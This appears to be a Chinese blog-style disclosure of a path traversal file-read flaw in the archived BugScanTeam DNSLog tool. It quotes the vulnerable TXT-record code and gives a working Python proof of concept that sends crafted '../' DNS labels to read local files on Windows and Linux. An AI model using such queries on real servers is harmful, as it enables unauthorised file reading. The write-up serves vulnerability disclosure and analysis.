https://github.com/BugScanTeam/DNSLog 是一个漏洞检测用的 DNSLog 程序。目前这个项目已经归档,不再更新了。
在其DNS解析的代码中,存在如下片段(可能是开发在测试的时候无意间写入)
https://github.com/BugScanTeam/DNSLog/blob/master/dnslog/zoneresolver.py
if qtype == 'TXT':
txtpath = os.path.join(tempfile.gettempdir(), str(qname).lower())
if os.path.isfile(txtpath):
reply.add_answer(
RR(qname, QTYPE.TXT, rdata=TXT(open(txtpath).read().strip())))
可以看到,程序会尝试读取临时文件夹下以qname参数命名的文件,返回TXT记录。然而,qname参数是攻击者可控的的任意字符串。攻击者可以通过 .. 来跨目录,实现读取任意文件。
不过,分析后发现这里利用条件较为苛刻: 首先,命令行工具不允许出现两个点 .. 这样的空Label畸形DNS查询(攻击者可以自己编程发送畸形请求)。同时,发现qname其实是一个dnslib.label.DNSLabel对象, str(qname) 会自动在字符串后面追加一个分隔符 “.” , 这是TXT记录常见的字符串表示。 见 dnslib\label.py
def __str__(self):
return ".".join([ s.decode() for s in self.label ]) + "."
上述str函数让这个文件读取漏洞的利用价值大打折扣,因为在python的open函数中,无法通过像\x00截断、回车换行符截断,或者是web server用问号带参数的形式,实现截断掉多余的点号。 但是,在Windows下,读取文件的时候,多一个点号也是能读取成功的。 也即: 读 C:\1.txt. 能直接读取到 C:\1.txt 的内容。 所以,虽然是一个鸡肋漏洞,但还是可以成功演示其利用过程。已知在我的Windows系统中, 存在 C:\InstallConfig.ini,编写如下利用代码:
import dns.query
qname = dns.name.Name(('.', './', './', './', './', './', './', './', './InstallConfig.ini'))
_qname = qname.concatenate(dns.name.root)
request = dns.message.make_query(_qname, 'TXT', 1)
request.use_edns(-1, 0, 0)
response = dns.query.udp(request, '127.0.0.1', 10.0, 53, source=None, source_port=0)
print(response)
如图所示,成功读取到C:\InstallConfig.ini 的内容。 [Install] 后面的内容为该文件内容。
下面示例在Linux系统下读取文件。 为了证明,创建一个 /test.txt. 文件,写入一段文字。改变上述代码中的文件路径
qname = dns.name.Name(('./', './', './', './', './', './', './', './test.txt'))
如图所示,成功读取了 /test.txt. 文件的内容。
可见,文件读取漏洞存在,但因为str函数的表示,让漏洞利用价值较低。 在Windows下可以读取更多文件,但Linux下无法截断点号,暂时只能读取点号. 结尾的文件。